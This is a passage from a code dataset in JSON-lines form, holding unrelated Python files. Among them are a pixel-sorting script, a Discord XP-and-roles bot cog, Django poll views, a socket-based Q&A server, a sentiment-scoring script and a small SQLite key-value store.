s_val\n \n # take the changed settings and make a naming out of it.\n settings_changed_formatted = \"_\".join([f\"{name}-{val}\" for name, val in settings_changed.items()])\n # Adds a section to the sort_settings so that the name can be retreived later.\n settings[\"settings_changed_formatted\"] = settings_changed_formatted\n print(f\"Settings changed: {settings_changed_formatted}\")\n\n\n for settings in sort_settings_list:\n\n settings_changed_formatted = settings[\"settings_changed_formatted\"]\n image_p_out = p / f_images / \"SORTED\" / f\"{image_p_in.stem}_SORTED_{settings_changed_formatted}{image_p_in.suffix}\"\n img = Image.open(image_p_in)\n try:\n img_mask = Image.open(settings[\"mask_image\"])\n except:\n img_mask = None\n\n img_sorted = pixelsort(\n img,\n mask_image=img_mask,\n interval_image=settings[\"interval_image\"],\n randomness=settings[\"randomness\"],\n clength=settings[\"clength\"],\n sorting_function=settings[\"sorting_function\"],\n interval_function=settings[\"interval_function\"],\n lower_threshold=settings[\"lower_threshold\"],\n upper_threshold=settings[\"upper_threshold\"],\n angle=settings[\"angle\"]\n )\n\n #img_sorted = pixelsort(img, interval_function=\"edges\", )\n\n img_rgb = img_sorted.convert(\"RGB\")\n img_rgb.save(image_p_out)\n\n print(f\"Saved image path: {image_p_out.absolute()}\")\n sleep(1)\n img_rgb.show()\n\n #img_sorted = Image.SAVE(\"SORTED.jpg\")\n\n print(\"Done\")\n\nif __name__ == \"__main__\":\n freeze_support()\n main_prog()","sub_path":"Prototyping Code/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"66517791","text":"\"\"\"\nДомашнее задание №2\n\nРабота с файлами\n\n\n1. Скачайте файл по ссылке\n https://www.dropbox.com/s/sipsmqpw1gwzd37/referat.txt?dl=0\n2. Прочитайте содержимое файла в перменную, подсчитайте длинну\n получившейся строки\n3. Подсчитайте количество слов в тексте\n4. Замените точки в тексте на восклицательные знаки\n5. Сохраните результат в файл referat2.txt Downloads/telegram-mac.dmg\n\"\"\"\n\n\ndef main(files_dir):\n \"\"\"\n Эта функция вызывается автоматически при запуске скрипта в консоли\n В ней надо заменить pass на ваш код\n \"\"\"\n if files_dir[-1] == '/':\n files_dir = files_dir[:-1]\n try:\n with open(f'{files_dir}/referat.txt', 'r', encoding='utf-8') as file1:\n content = file1.read()\n except FileNotFoundError:\n return f'Файл referat.txt в папке {files_dir} не найден.'\n except UnicodeDecodeError:\n return 'Файл referat.txt не может быть прочтён'\n words_list = content.split()\n words_qty = len(words_list)\n content2 = content.replace('.', '!')\n with open(f'{files_dir}/referat2.txt', 'w', encoding='utf-8') as file2:\n file2.write(content2)\n return words_qty\n\n\nif __name__ == \"__main__\":\n f_dir = input('Укажите путь к файлу referat.txt: ')\n print(main(f_dir))\n","sub_path":"homework2/2_files.py","file_name":"2_files.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"505562837","text":"from data import df\nfrom layouts.cards import get_cards\nfrom layouts.tabela import format_table\nimport dash_html_components as html\nfrom dash_table.Format import Format, Symbol, Group\n\ndf_ultimo_dia = df[\n (df['place_type'] == 'state') &\n (df['new_confirmed'] >= 0) &\n (df['is_repeated'] == False)\n ]\n\ndf_ultimo_dia = df_ultimo_dia.sort_values(by=\"last_available_date\").drop_duplicates(subset=[\"state\"], keep=\"last\")\n\ndf_ultimo_dia['last_available_death_rate'] = df_ultimo_dia['last_available_death_rate'] * 100\n\ntitles = {\n 'state': 'UF',\n 'last_available_confirmed': 'Casos confirmados',\n 'last_available_deaths': 'Mortes confirmadas',\n 'estimated_population': 'População em 2020',\n 'last_available_confirmed_per_100k_inhabitants': 'Casos confirmados por 100 mil habitantes',\n 'last_available_death_rate': 'Taxa de mortalidade',\n}\n\ndash_format = {\n 'estimated_population': Format(\n group=Group.yes,\n group_delimiter='.',\n ).scheme('d'),\n 'last_available_confirmed': Format(\n group=Group.yes,\n group_delimiter='.',\n ).scheme('d'),\n 'last_available_deaths': Format(\n group=Group.yes,\n group_delimiter='.',\n ).scheme('d'),\n 'last_available_confirmed_per_100k_inhabitants': Format(\n group=Group.yes,\n group_delimiter='.',\n decimal_delimiter=','\n ).scheme('f').precision(2),\n 'last_available_death_rate': Format(\n symbol=Symbol.yes,\n symbol_suffix='%',\n group=Group.yes,\n group_delimiter='.',\n decimal_delimiter=','\n ).scheme('f').precision(2)\n }\n\ntabela_resumo = html.Div(\n get_cards(\n format_table(\n df_ultimo_dia[[\n 'state',\n 'estimated_population',\n 'last_available_confirmed',\n 'last_available_deaths',\n 'last_available_confirmed_per_100k_inhabitants',\n 'last_available_death_rate',\n ]],\n titles=titles,\n dash_format=dash_format\n ),\n header='Resumo'\n ),\n className='col-10'\n)\n","sub_path":"covid_ved/tabela_resumo.py","file_name":"tabela_resumo.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"264306846","text":"import discord\nfrom discord.ext import commands\nimport pickle\nimport random\nimport time\n\n\n\"\"\"A simple cog example with simple commands. Showcased here are some check decorators, and the use of events in cogs.\n\nFor a list of inbuilt checks:\nhttp://dischttp://discordpy.readthedocs.io/en/rewrite/ext/commands/api.html#checksordpy.readthedocs.io/en/rewrite/ext/commands/api.html#checks\n\nYou could also create your own custom checks. Check out:\nhttps://github.com/Rapptz/discord.py/blob/master/discord/ext/commands/core.py#L689\n\nFor a list of events:\nhttp://discordpy.readthedocs.io/en/rewrite/api.html#event-reference\nhttp://discordpy.readthedocs.io/en/rewrite/ext/commands/api.html#event-reference\n\"\"\"\n\nclass Listener:\n \"\"\"SimpleCog\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n #async def on_member_ban(self, guild, user):\n \"\"\"Event Listener which is called when a user is banned from the guild.\n For this example I will keep things simple and just print some info.\n Notice how because we are in a cog class we do not need to use @bot.event\n\n For more information:\n http://discordpy.readthedocs.io/en/rewrite/api.html#discord.on_member_ban\n\n Check above for a list of events.\n \"\"\"\n\n #print(f'{user.name}-{user.id} was banned from {guild.name}-{guild.id}')\n\n async def on_message(self, ctx):\n if ctx.guild == None:\n return\n if ctx.channel.id == 436600674017476610:\n memberRole = (discord.utils.find(lambda r: r.id == 436602828593561610, ctx.guild.roles))\n await ctx.author.add_roles(memberRole)\n if ctx.guild.id == 454312815436496896 or 472863145992650792:\n message = ctx.content.lower()\n if \"cookie\" in message or '\\U0001F36A' in message or \"cookies\" in message:\n await ctx.add_reaction('\\U0001F36A')\n if ctx.guild.id == 462842304638484481:\n #id XP XPNow lvl time\n if ctx.author.bot == True:\n return\n XPList = []\n XPList = pickle.load(open('g5xp.data', 'rb'))\n added = False\n addedXP = random.randint(400000,500000)\n if ctx.channel.id in [484445582937686016, 481019924748304385, 463450775264296992]:\n return\n for y in range(len(XPList)):\n if XPList[y]['id'] == (ctx.author.id):\n if (time.time()) < (XPList[y]['timeOfNextXpEarn']):\n return\n added = True\n placement = y\n break\n if added == True:\n XPList[placement]['xp'] += addedXP\n XPList[placement]['timeOfNextXpEarn'] = time.time() + 60\n elif added == False:\n XPList.append({'id':ctx.author.id,'xp':addedXP, 'timeOfNextXpEarn':time.time()+60})\n def getKey(item):\n return item['xp']\n XPList = sorted(XPList,reverse=True,key=getKey)\n pickle.dump(XPList, open('g5xp.data','wb'))\n if added == False:\n return\n\n if ctx.author.id == 458611812737482762:\n return\n\n #Add roles\n if XPList[placement]['xp'] >= 15000000 and XPList[placement]['xp'] < 30000000 and discord.utils.find(lambda r: r.id == 484747494975340554, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484747494975340554, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 15 Million bounty! You now have the title of `Bandit`!\")\n\n elif XPList[placement]['xp'] >= 30000000 and XPList[placement]['xp'] < 50000000 and discord.utils.find(lambda r: r.id == 484716087888445460, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484716087888445460, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 30 Million bounty! You now have the title of `Bounty Hunter`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484747494975340554, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 50000000 and XPList[placement]['xp'] < 100000000 and discord.utils.find(lambda r: r.id == 484715672417468438, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715672417468438, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 50 Million bounty! You now have the title of `Rookie`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484716087888445460, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 100000000 and XPList[placement]['xp'] < 200000000 and discord.utils.find(lambda r: r.id == 484716087271882753, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484716087271882753, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 100 Million bounty! You now have the title of `Grand Line Rookie`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715672417468438, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 200000000 and XPList[placement]['xp'] < 300000000 and discord.utils.find(lambda r: r.id == 484717400743215104, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484717400743215104, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 200 Million bounty! You now have the title of `Supernova`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484716087271882753, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 300000000 and XPList[placement]['xp'] < 500000000 and discord.utils.find(lambda r: r.id == 484716090090323968, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484716090090323968, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 300 Million bounty! You now have the title of `Headliner`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484717400743215104, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 500000000 and XPList[placement]['xp'] < 750000000 and discord.utils.find(lambda r: r.id == 484715505173790720, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715505173790720, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 500 Million bounty! You now have the title of `Warlord`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484716090090323968, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 750000000 and XPList[placement]['xp'] < 1000000000 and discord.utils.find(lambda r: r.id == 484715772434841609, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715772434841609, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 750 Million bounty! You now have the title of `Calamity`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715505173790720, ctx.guild.roles))\n \n elif XPList[placement]['xp'] >= 1000000000 and XPList[placement]['xp'] < 2000000000 and discord.utils.find(lambda r: r.id == 484716086562914334, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484716086562914334, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 1 Billion bounty! You now have the title of `Yonkou's Right Hand`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715772434841609, ctx.guild.roles))\n \n elif XPList[placement]['xp'] >= 2000000000 and XPList[placement]['xp'] < 4000000000 and discord.utils.find(lambda r: r.id == 484715771809890315, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715771809890315, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 2 Billion bounty! You now have the title of `Rocks Legends`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484716086562914334, ctx.guild.roles))\n \n elif XPList[placement]['xp'] >= 4000000000 and XPList[placement]['xp'] < 5000000000 and discord.utils.find(lambda r: r.id == 484715769146376192, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715769146376192, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 4 Billion bounty! You now have the title of `Gold Lion`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715771809890315, ctx.guild.roles))\n \n elif XPList[placement]['xp'] >= 5000000000 and XPList[placement]['xp'] < 7500000000 and discord.utils.find(lambda r: r.id == 484715766617473024, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715766617473024, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 5 Billion bounty! You now have the title of `Dark King`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715769146376192, ctx.guild.roles))\n \n elif XPList[placement]['xp'] >= 7500000000 and XPList[placement]['xp'] < 1000000000 and discord.utils.find(lambda r: r.id == 484715763240927233, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715763240927233, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 7.5 Billion bounty! You now have the title of `World's Strongest Man`!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715766617473024, ctx.guild.roles))\n \n elif XPList[placement]['xp'] >= 10000000000 and discord.utils.find(lambda r: r.id == 484715770694074368, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 484715770694074368, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 10 Billion bounty! You now have the epic title of __`☠️Most Wanted☠ 10 Billion Bounty`__!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715763240927233, ctx.guild.roles))\n\n elif XPList[placement]['xp'] >= 13000000000 and discord.utils.find(lambda r: r.id == 474563999477006336, ctx.guild.roles) not in ctx.author.roles:\n await ctx.author.add_roles(discord.utils.find(lambda r: r.id == 474563999477006336, ctx.guild.roles))\n await ctx.channel.send(f\"Congratualtions {ctx.author.mention}! The marines want you so bad you've earnt a 13 Billion bounty! You now have the legendary title of __**`Pirate King Buggy`**__!\")\n await ctx.author.remove_roles(discord.utils.find(lambda r: r.id == 484715770694074368, ctx.guild.roles))\n \n async def on_message_delete(self, ctx):\n if ctx.channel.id == 436600674017476610:\n memberRole = (discord.utils.find(lambda r: r.id == 436602828593561610, ctx.guild.roles))\n await ctx.author.remove_roles(memberRole)\n await ctx.delete()\n\n async def on_member_join(self,member):\n if member.guild.id == 441635774232788993:\n memberRole = (discord.utils.find(lambda r: r.id == 442410209747664898, member.guild.roles))\n await member.add_roles(memberRole)\n rankRole = (discord.utils.find(lambda r: r.id == 444487826126536717, member.guild.roles))\n await member.add_roles(rankRole)\n locationRole = (discord.utils.find(lambda r: r.id == 444616783052275722, member.guild.roles))\n await member.add_roles(locationRole)\n hobbiesRole = (discord.utils.find(lambda r: r.id == 445310755584081920, member.guild.roles))\n await member.add_roles(hobbiesRole)\n gamesRole = (discord.utils.find(lambda r: r.id == 441994780742909953, member.guild.roles))\n await member.add_roles(gamesRole)\n genderRole = (discord.utils.find(lambda r: r.id == 4453096882346960128, member.guild.roles))\n await member.add_roles(genderRole)\n XPList = []\n XPList = pickle.load(open('nwxp.data', 'rb'))\n for y in range(len(XPList)):\n if XPList[y][0] == (member.id):\n return\n XPList.append([member.id, 0, 0, 0, 0])\n def getKey(item):\n return item[1]\n XPList = sorted(XPList,reverse=True,key=getKey)\n pickle.dump(XPList, open('nwxp.data','wb'))\n if member.guild.id == 405926267050000384:\n CPList = []\n CPList = pickle.load(open('CP.data', 'rb'))\n added = False\n for y in range(len(CPList)):\n if CPList[y][0] == (member.id):\n added = True\n placement = y\n break\n #Debug\n #import ipdb; ipdb.set_trace()\n if added == False:\n placement = len(CPList)\n CPList.append([member.id,member.name,0])\n def getKey(item):\n return item[1]\n CPList = sorted(CPList,reverse=True,key=getKey)\n pickle.dump(CPList, open('CP.data','wb'))\n print(f\"New player\\n{CPList}\")\n\n async def on_guild_join(self, guild):\n #Added to setup\n guilds = []\n guilds = pickle.load(open(\"guilds.data\", \"rb\"))\n guilds.append([guild.id, [False], [False], [False], [False, []]])\n print(\"Server Added\")\n pickle.dump(guilds, open(\"guilds.data\", \"wb\"))\n\n async def on_guild_remove(self, guild):\n #Remove from setup\n guilds = []\n guilds = pickle.load(open(\"guilds.data\", \"rb\"))\n for a in range(len(guilds)):\n if guilds[a][0] == guild.id:\n guilds.pop(a)\n #index out of range\n print(\"Server Removed\")\n pickle.dump(guilds, open(\"guilds.data\", \"wb\"))\n\n# The setup fucntion below is neccesarry. Remember we give bot.add_cog() the name of the class in this case SimpleCog.\n# When we load the cog, we use the name of the file.\ndef setup(bot):\n bot.add_cog(Listener(bot))\n","sub_path":"cogs/listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":15846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"200380566","text":"from django.contrib.auth import authenticate, login\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.shortcuts import render\nfrom django.contrib.auth.models import User\nfrom poll.models import Poll, Option, Vote\nfrom datetime import datetime\nfrom django.db import transaction\n\nimport pytz\n\nset(pytz.all_timezones_set)\n\n# Create your views here.\ndef index(request):\n if request.user.is_authenticated:\n return render(request, \"poll/votar.html\", {\n \"polls\": Poll.objects.all()\n })\n else:\n return HttpResponseRedirect(reverse(\"login\"))\n\ndef voto_view(request, poll_id):\n if request.user.is_authenticated:\n poll = Poll.objects.get(pk=poll_id)\n voter = request.user\n queryset = Vote.objects.filter(poll=poll, voter=voter)\n if not queryset.exists():\n tz = pytz.timezone('America/Bogota')\n vote_time = datetime.now(tz=tz)\n if vote_time > poll.start_time and vote_time < poll.end_time :\n return render(request, \"poll/vota.html\", {\n \"poll\": poll,\n \"options\": Option.objects.filter(poll=poll_id)\n })\n else :\n return render(request, \"poll/votar.html\", {\n \"message\": \"Está fuera del horario de la votación seleccionada.\",\n \"polls\": Poll.objects.all()\n })\n else :\n return render(request, \"poll/votar.html\", {\n \"message\": \"Ya participó en la votación seleccionada.\",\n \"polls\": Poll.objects.all()\n })\n else:\n return HttpResponseRedirect(reverse(\"login\"))\n\ndef votacion_view(request, poll_id):\n if request.method == \"POST\":\n tz = pytz.timezone('America/Bogota')\n vote_time = datetime.now(tz=tz)\n poll = Poll.objects.get(pk=poll_id)\n voter = request.user\n queryset = Vote.objects.filter(poll=poll, voter=voter)\n if queryset.exists():\n return render(request, \"poll/votar.html\", {\n \"message\": \"Ya participó en la votación seleccionada.\",\n \"polls\": Poll.objects.all()\n })\n with transaction.atomic():\n option = Option.objects.select_for_update().filter(pk=int(request.POST[\"option\"])).first()\n option.coeficient += voter.profile.coeficient \n option.shares += voter.profile.shares \n option.votes += 1\n option.save()\n voto = Vote(poll=poll, option=option, voter=voter, vote_time=vote_time)\n voto.save()\n return HttpResponseRedirect(reverse(\"poll\", args=(poll.id,)))","sub_path":"votar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"209047022","text":"'''\n对话小程序，客户端可以发送问题给服务端\n服务端接收到问题 将对应答案给客户端，客户端打印出来\n要求可以同时多个客户端提问，如果问题没有指定答案\n则回答 “人家还小，不知道。”\n\n接收问题 返回答案\n\n通过字典查答案\nserver\n'''\nfrom socket import *\nanwser_dict={ '岁': \"我三岁了!\",\n '是谁': '我是人工智障',\n '?': '你凭什么给我发问号?',\n \"好\": \"我不好\",\n '哈': \"闭嘴!!不许笑\",\n \"名\": '我叫AI,Fancy',\n '喜': '妈妈不让',\n '大':\"我18,嘿嘿\"}\n\nclass Dialog_server():\n # 服务器初始化配置,socket 创建\n def __init__(self):\n S_ADDR = ('0.0.0.0', 65534)\n self.socket_s = socket(AF_INET, SOCK_STREAM)\n self.socket_s.bind(S_ADDR)\n self.socket_s.listen(20)\n\n def find_how_to_anwser(self, recive_data):\n # recive_data = '你几岁啦'\n # 单个关键字触发, 不可以多条件,指向同一回答 比如\"年龄\",'岁数\" :\"男的女的\",'性别'\n key_anwser = anwser_dict\n for item in key_anwser:\n for str_item in recive_data:\n if item in str_item:\n return key_anwser[item]\n else:\n return \"人家还小，不知道。\"\n\n def recive_req(self):\n \"\"\"\n 接收客户问题\n :return: 问题答案\n \"\"\"\n # 接收客户端 connect\n print('waiting connet...')\n c_connfd, c_addr = self.socket_s.accept()\n print('connet from ', c_addr)\n # 接收客户端消息\n recive_data = c_connfd.recv(128)\n\n # 准备答案\n anwser = self.find_how_to_anwser(recive_data.decode())\n # 回答案给客户端\n c_connfd.send(anwser.encode())\n # 断开与该客户连接\n c_connfd.close()\n\n\nif __name__ == '__main__':\n dialog_s = Dialog_server()\n\n while 1:\n # 会话一次断开一次\n dialog_s.recive_req()\n","sub_path":"fancy_month02/day11_tcp/Dialog_app/dialog_server.py","file_name":"dialog_server.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"651611567","text":"from pytorch_lightning import LightningModule\r\nimport torch\r\nfrom data.data_process import TrainSet\r\nfrom torch.utils.data import DataLoader\r\nfrom train import TrainNet\r\nimport matplotlib.pyplot as plt\r\n\r\ntotal_imgs = 11554\r\ntrain_imgs = int(11554 * 0.9)\r\ntest_imgs = total_imgs - train_imgs\r\n\r\ndef load_weights(path):\r\n pretrained_model = TrainNet.load_from_checkpoint(path)\r\n pretrained_model.freeze()\r\n return pretrained_model\r\n\r\ndef forward(pretrained_model, test_loader):\r\n test_num = 0\r\n true_pred = 0\r\n for x, y in test_loader:\r\n out = pretrained_model(x)\r\n preds = torch.argmax(out, dim=1)\r\n test_num += 1\r\n if y == preds:\r\n true_pred += 1\r\n return true_pred / test_num\r\n\r\nif __name__ == '__main__':\r\n path = \"D:/face_classification/checkpoint/face--epoch=34-val_loss=0.13-val_acc=0.98.ckpt\"\r\n pretrained_model = load_weights(path)\r\n faceimg_test = TrainSet(test_imgs, train=False)\r\n test_loader = DataLoader(faceimg_test, batch_size=1)\r\n test_acc = forward(pretrained_model, test_loader)\r\n print(test_acc)\r\n\r\n\r\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"451313810","text":"import urllib\nimport sys\nimport re\nimport os.path\nimport time\n\ncompany = sys.argv[1]\ntry:\n\toutput = open(sys.argv[2], 'w')\nexcept:\n\toutput = open(company + '_results.txt', 'w')\nfor x, dates, y in os.walk(company):\n\tfor date in dates:\n\t\tprint('Checking ' + date)\n\t\tfor a, b, articles in os.walk(os.path.join(company, date)):\n\t\t\tfor article in articles:\n\t\t\t\tprint('\\tChecking ' + article)\n\t\t\t\tpositive = 0.0\n\t\t\t\tnegative = 0.0\n\t\t\t\tdenominator = 1.0\n\t\t\t\tfor segment in open(os.path.join(company, date, article), 'r').read().split('.'):\n\t\t\t\t\tdata = urllib.urlencode({\"text\": segment})\n\t\t\t\t\tu = urllib.urlopen(\"http://text-processing.com/api/sentiment/\", data)\n\t\t\t\t\tcontent = re.findall('\\\"pos\\\": (0.\\d+)|\\\"neg\\\": (0.\\d+)|\\\"neutral\\\": (0.\\d+)', u.read())\n\t\t\t\t\ttry:\n\t\t\t\t\t\tweight = 1.0 - float(content[1][2])\n\t\t\t\t\t\tpositive += float(content[2][0]) * weight\n\t\t\t\t\t\tnegative += float(content[0][1]) * weight\n\t\t\t\t\t\tdenominator += 1.0\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\t\tif((positive == 0.0 and negative == 0.0) or denominator == 1.0):\n\t\t\t\t\tprint('\\tSentiment Analysis failed')\n\t\t\t\telse:\n\t\t\t\t\tprint('\\tPositive: ' + str(positive) + '\\tNegative: ' + str(negative) + '\\tDenominator: ' + str(denominator))\n\t\t\t\t\toutput.write(date[1:] + '\\t' + article + '\\tP:\\t' + str(positive / denominator) + '\\tN:\\t' + str(negative / denominator) + '\\n')\n\t\t\t\ttime.sleep(15)\noutput.close()\n","sub_path":"scripts/sentimentCollector.py","file_name":"sentimentCollector.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"416795908","text":"import math\ndef primeFactor(num):\n num = int(num)\n isPrime = 1\n for x in range(2,math.ceil(math.sqrt(num))+1):\n if num % x ==0:\n isPrime = 0\n print(str(x),end=\" \")\n primeFactor(int(num / x))\n break\n if isPrime == 1:\n print(str(num),end=\" \")\n\n\nprimeFactor(input())","sub_path":"machineTest_huwei/prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"106025506","text":"import sqlite3\nimport ujson as json\nfrom functools import lru_cache\nfrom contextlib import contextmanager\n\nfrom tenacity import (\n retry, wait_fixed, wait_random,\n retry_if_exception_type, after_log, stop_after_attempt)\n\n\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n\nretry_simplified = retry(\n reraise=True,\n stop=stop_after_attempt(1),\n wait=wait_fixed(0.5) + wait_random(0, 1),\n retry=retry_if_exception_type(sqlite3.OperationalError))\n\n\nclass Sqlite(object):\n def __init__(self, dbpath):\n self.dbpath = dbpath\n\n @property\n @lru_cache()\n def connection(self):\n conn = sqlite3.connect(self.dbpath)\n conn.row_factory = dict_factory\n return conn\n\n @contextmanager\n def cursor(self):\n cursor = self.connection.cursor()\n try:\n yield cursor\n finally:\n cursor.close()\n\n @retry_simplified\n @contextmanager\n def execute(self, *args):\n with self.cursor() as cursor:\n cursor.execute(*args)\n yield cursor\n\n @contextmanager\n @retry_simplified\n def executemany(self, *args):\n with self.cursor() as cursor:\n cursor.executemany(*args)\n yield cursor\n\n\nNOTHING = object()\nclass SqliteDict(object):\n insert_stmt = \"INSERT OR REPLACE INTO kv_db (key, value) VALUES (?, ?)\"\n create_table = \"\"\"\n CREATE TABLE IF NOT EXISTS kv_db (key STRING PRIMARY KEY, value TEXT NOT NULL)\n \"\"\"\n get_stmt = \"SELECT value FROM kv_db WHERE key = ? LIMIT 1\"\n exists_stmt = \"SELECT 1 FROM kv_db WHERE key = ? LIMIT 1\"\n\n def __init__(self, dbname):\n self.dbname = dbname\n self.db = Sqlite(dbname + '.db')\n self.setup()\n\n def setup(self):\n with self.db.execute(self.create_table) as _:\n pass\n\n def set(self, key, value):\n value = json.dumps(value)\n with self.db.execute(self.insert_stmt, (key, value)) as _:\n self.db.connection.commit()\n\n def setmany(self, iterator):\n iterator = ((key, json.dumps(value)) for key, value in iterator)\n with self.db.executemany(self.insert_stmt, iterator) as _:\n self.db.connection.commit()\n\n def get(self, key, default=NOTHING):\n with self.db.execute(self.get_stmt, [key]) as cursor:\n result = cursor.fetchone()\n if result:\n return json.loads(result['value'])\n elif default != NOTHING:\n return default\n else:\n raise KeyError(key)\n\n def contains(self, key):\n with self.db.execute(self.exists_stmt, [key]) as cursor:\n result = cursor.fetchone()\n return bool(result)\n","sub_path":"scrapper/db/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"310577530","text":"import xlrd\nimport datetime\nfile_location = \"ornek.xlsx\"\nworkbook = xlrd.open_workbook(file_location)\n\nsheet = workbook.sheet_by_index(0)\nprint(\"kolon sayısı = \",sheet.ncols)\nprint(\"satır sayısı = \",sheet.nrows)\n\nfor row in range(sheet.nrows):\n for col in range(sheet.ncols):\n if sheet.cell_type(row,col) == 3:\n time_tuple = xlrd.xldate_as_tuple(sheet.cell_value(row,col),0)\n print(\"******\",datetime.datetime(*time_tuple))\n else:\n print( sheet.cell_value(row,col) )\n print(\"###################################################\")","sub_path":"Excel.py","file_name":"Excel.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"632039639","text":"import cv2\nimport graphlab as gl\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy as np\n\n\ndef detect_features(filename, key):\n image = cv2.imread(join(edge_path, filename))\n sa = gl.SArray(image, dtype=np.ndarray)\n edge_array.append(sa)\n print(\"Saving Image Array: 'image_{0:04d}.jpg'\".format(key))\n\nedge_path = '/Users/galen/Desktop/image_classification/data/img_edge'\nsframe_path = '/Users/galen/Desktop/image_classification/data/sframe'\n\nimg_dict = {}\n\nfile_names = 